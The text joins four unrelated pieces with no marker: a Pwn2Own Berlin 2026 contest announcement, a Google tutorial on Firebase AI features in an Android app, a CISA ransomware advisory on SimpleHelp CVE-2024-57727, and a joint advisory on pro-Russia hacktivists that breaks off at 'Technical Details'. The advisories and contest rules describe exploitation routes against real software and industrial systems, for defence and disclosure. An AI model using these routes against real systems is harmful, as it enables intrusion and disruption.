Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of our shipping troubles, we had an amazing time and can’t wait to get back.

Last year, we added Artificial Intelligence as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from AWS wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.

The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  

-- Virtualization
-- Web Browser
-- Enterprise Applications
-- Servers
-- Local Escalation of Privilege
-- Containers
-- AI Database
-- Coding Agents
-- Local Inference
-- NVIDIA

Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do not go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for Platinum status), a killer trophy, and a pretty snazzy jacket to boot.

Let's look at the details of the rules for this year's event.

Virtualization Category

Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.

There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target and obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:

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Web Browser Category

While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:

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Enterprise Applications Category

Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

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The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

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Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

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The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

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AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

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The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

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The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

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The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

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Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

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Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features: 

• Grounding answers in real-world context
• Routing requests dynamically between cloud and local execution using hybrid inference
• Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models. 

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and  support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

• a museum assistant with web grounding
• hybrid restaurant review drafting
• hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as 

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours. 

Grounding data is added to the context window to enable the model

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

• URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
• Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
• Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf<Tool>()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano. 

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

• PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
• PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
• ONLY_ON_DEVICE: Restricts execution strictly to the device.
• ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. 

Hotel support chat messages are automatically translated to the user’s preferred language 

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

• Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
• On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
• Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions. 
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.

SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including CVE-2024-57727—a path traversal vulnerability.¹ Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.¹ 

CISA added CVE-2024-57727 to its Known Exploited Vulnerabilities (KEV) Catalog on Feb. 13, 2025.

CISA urges software vendors, downstream customers, and end users to immediately implement the Mitigations listed in this advisory based on confirmed compromise or risk of compromise.

Download the PDF version of this report:

Mitigations

CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.

Vulnerable Third-Party Vendors

If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <file_path>/SimpleHelp/configuration/serverconfig.xml. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:

1. Isolate the SimpleHelp server instance from the internet or stop the server process.
2. Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.²
3. Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.

Vulnerable Downstream Customers and End Users

Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.

SimpleHelp Endpoints

Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:

• Windows: %APPDATA%\JWrapper-Remote Access
• Linux: /opt/JWrapper-Remote Access
• MacOs: /Library/Application Support/JWrapper-Remote Access

If RAS installation is present and running, open the serviceconfig.xml file in <file_path>/JWrapper-Remote Access/JWAppsSharedConfig/ to determine if the registered service is vulnerable. The lines starting with <ConnectTo indicate the server addresses where the service is registered.

SimpleHelp Server

Determine the version of any SimpleHelp server by performing an HTTP query against it. Add /allversions (e.g., https://simple-help.com/allversions) to query the URL for the version page. This page will list the running version.

If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. Note: This is not an exhaustive list of indicators of compromise.

1.  Refer to SimpleHelp’s guidance to determine compromise and next steps.³
2. Isolate the SimpleHelp server instance from the internet or stop the server process.
3. Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., aaa.exe, bbb.exe, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.
4. Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.⁴

If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.

Encrypted Downstream Customers and End Users

If a system has been encrypted by ransomware:

1. Disconnect the affected system from the internet.
2. Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.
3. Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.

CISA urges you to promptly report ransomware incidents to a local FBI Field Office, FBI’s Internet Crime Compliant Center (IC3), and CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 1-844-Say-CISA).

Proactive Mitigations to Reduce Risk

To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:

• Maintain a robust asset inventory and hardware list [CPG 1.A].
• Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [CPG 2.R].
• Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [CPG 2.W].
• Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.
• Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.
• For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
  • An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s SBOM page.

Resources

• Health-ISAC:Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks
• Arctic Wolf: Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access
• CISA: #StopRansomware Guide

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

CISA and FBI do not encourage paying ransom as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI and CISA urge you to promptly report ransomware incidents to FBI’s Internet Crime Complain Center (IC3), a local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

SimpleHelp users or vendors can contact support@simple-help.com for assistance with queries or concerns.

Disclaimer

The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favor by CISA.

Version History

June 12, 2025: Initial version.

Notes

1. Anthony Bradshaw, et. al., “DragonForce Actors Target SimpleHelp Vulnerabilities to Attack MSP, Customers,” Sophos News, May 27, 2025, https://news.sophos.com/en-us/2025/05/27/dragonforce-actors-target-simplehelp-vulnerabilities-to-attack-msp-customers/.
2. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.
3. To determine possibility of compromise and next steps, see SimpleHelp’s guidance.
4. For instructions for upgrading to the latest version of SimpleHelp, see SimpleHelp’s security vulnerability advisory.

Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eastwood, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.

FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:

• U.S. Department of Energy (DOE)
• U.S. Environmental Protection Agency (EPA)
• U.S. Department of Defense Cyber Crime Center (DC3)
• Europol European Cybercrime Centre (EC3)
• EUROJUST – European Union Agency for Criminal Justice Cooperation
• Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)
• Canadian Centre for Cyber Security (Cyber Centre)
• Canadian Security Intelligence Service (CSIS)
• Czech Republic Military Intelligence (VZ)
• Czech Republic National Cyber and Information Security Agency (NÚKIB)
• Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)
• French National Cybercrime Unit – Gendarmerie Nationale (UNC)
• French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)
• German Federal Office for Information Security (BSI)
• Italian State Police (PS)
• Latvian State Police (VP)
• Lithuanian Criminal Police Bureau (LKPB)
• New Zealand National Cyber Security Centre (NCSC-NZ)
• Romanian National Police (PR)
• Spanish Civil Guard (GC)
• Spanish National Police (CNP)
• Swedish Polisen (SC3)
• United Kingdom National Cyber Security Centre (NCSC-UK)

The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include Water and Wastewater Systems, Food and Agriculture, and Energy.

The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Threat Overview and Advisories webpage.

Download the PDF version of this report:

Background and Development of Pro-Russia Hacktivist Groups

Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.

Cyber Army of Russia Reborn

The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see Appendix B: Additional Designators Used for Cited Groups)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.

In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.

CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.

In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.

The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.

NoName057(16)

The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool DDoSia, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.

Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host DDoSia and share materials and TTPs with their followers. 

In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.

Z-Pentest

Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.

Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.

Sector16

Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.

Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.

Technical Details

